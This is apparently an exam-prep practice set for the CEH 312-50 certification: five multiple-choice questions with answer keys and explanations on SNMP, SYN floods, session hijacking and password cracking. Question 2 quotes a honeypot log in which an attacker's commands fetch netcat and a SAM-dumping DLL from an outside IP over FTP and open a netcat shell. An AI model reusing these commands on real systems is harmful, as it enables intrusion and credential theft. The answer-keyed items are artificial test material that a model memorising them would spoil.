312-50$^{\text{Q\&As}}$

Ethical Hacker Certified

Pass EC-COUNCIL 312-50 Exam with 100% Guarantee

QUESTION 1

SNMP is a protocol used to query hosts, servers and devices about performance or health status data. Hackers have used this protocol for a long time to gather great amount of information about remote hosts. Which of the following features makes this possible?

A. It is susceptible to sniffing

B. It uses TCP as the underlying protocol

C. It is used by ALL devices on the market

D. It uses a community string sent as clear text

Correct Answer: AD

SNMP uses UDP, not TCP, and even though many devices uses SNMP not ALL devices use it and it can be disabled on most of the devices that does use it. However SNMP is susceptible to sniffing and the community string (which can be said acts as a password) is sent in clear text.

QUESTION 2

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:

```
"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp s:ftpcom"

"cmd1.exe /c nc l p 6969 e-cmd1.exe"
```

What can you infer from the exploit given?

A. It is a local exploit where the attacker logs in using username johna2k.

B. There are two attackers on the system johna2k and haxedj00.

C. The attack is a remote exploit and the hacker downloads three files.

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port.

Correct Answer: C

QUESTION 3

Which one of the following instigates a SYN flood attack?

A. Generating excessive broadcast packets.

B. Creating a high number of half-open connections.

C. Inserting repetitive Internet Relay Chat (IRC) messages.

D. A large number of Internet Control Message Protocol (ICMP) traces.

Correct Answer: B

A SYN attack occurs when an attacker exploits the use of the buffer space during a Transmission Control Protocol (TCP) session initialization handshake. The attacker floods the target system\\'s small "in-process" queue with connection requests, but it does not respond when a target system replies to those requests. This causes the target system to time out while waiting for the proper response, which makes the system crash or become unusable.

QUESTION 4

How would you prevent session hijacking attacks?

A. Using biometrics access tokens secures sessions against hijacking

B. Using non-Internet protocols like http secures sessions against hijacking

C. Using hardware-based authentication secures sessions against hijacking

D. Using unpredictable sequence numbers secures sessions against hijacking

Correct Answer: D

Protection of a session needs to focus on the unique session identifier because it is the only thing that distinguishes users. If the session ID is compromised, attackers can impersonate other users on the system. The first thing is to ensure that the sequence of identification numbers issued by the session management system is unpredictable; otherwise, it\\'s trivial to hijack another user\\'s session. Having a large number of possible session IDs (meaning that they should be very long) means that there are a lot more permutations for an attacker to try.

QUESTION 5

You have retrieved the raw hash values from a Windows 2000 Domain Controller. Using social engineering, you come to know that they are enforcing strong passwords. You understand that all users are required to use passwords that are at least 8 characters in length. All passwords must also use 3 of the 4 following categories: lower case letters, capital letters, numbers and special characters.

With your existing knowledge of users, likely user account names and the possibility that they will choose the easiest passwords possible, what would be the fastest type of password cracking attack you can run against these hash values and still get results?

A. Online Attack

B. Dictionary Attack

C. Brute Force Attack

D. Hybrid Attack

Correct Answer: D

A dictionary attack will not work as strong passwords are enforced, also the minimum length of 8 characters in the password makes a brute force attack time consuming. A hybrid attack where you take a word from a dictionary and exchange a number of letters with numbers and special characters will probably be the fastest way to crack the passwords.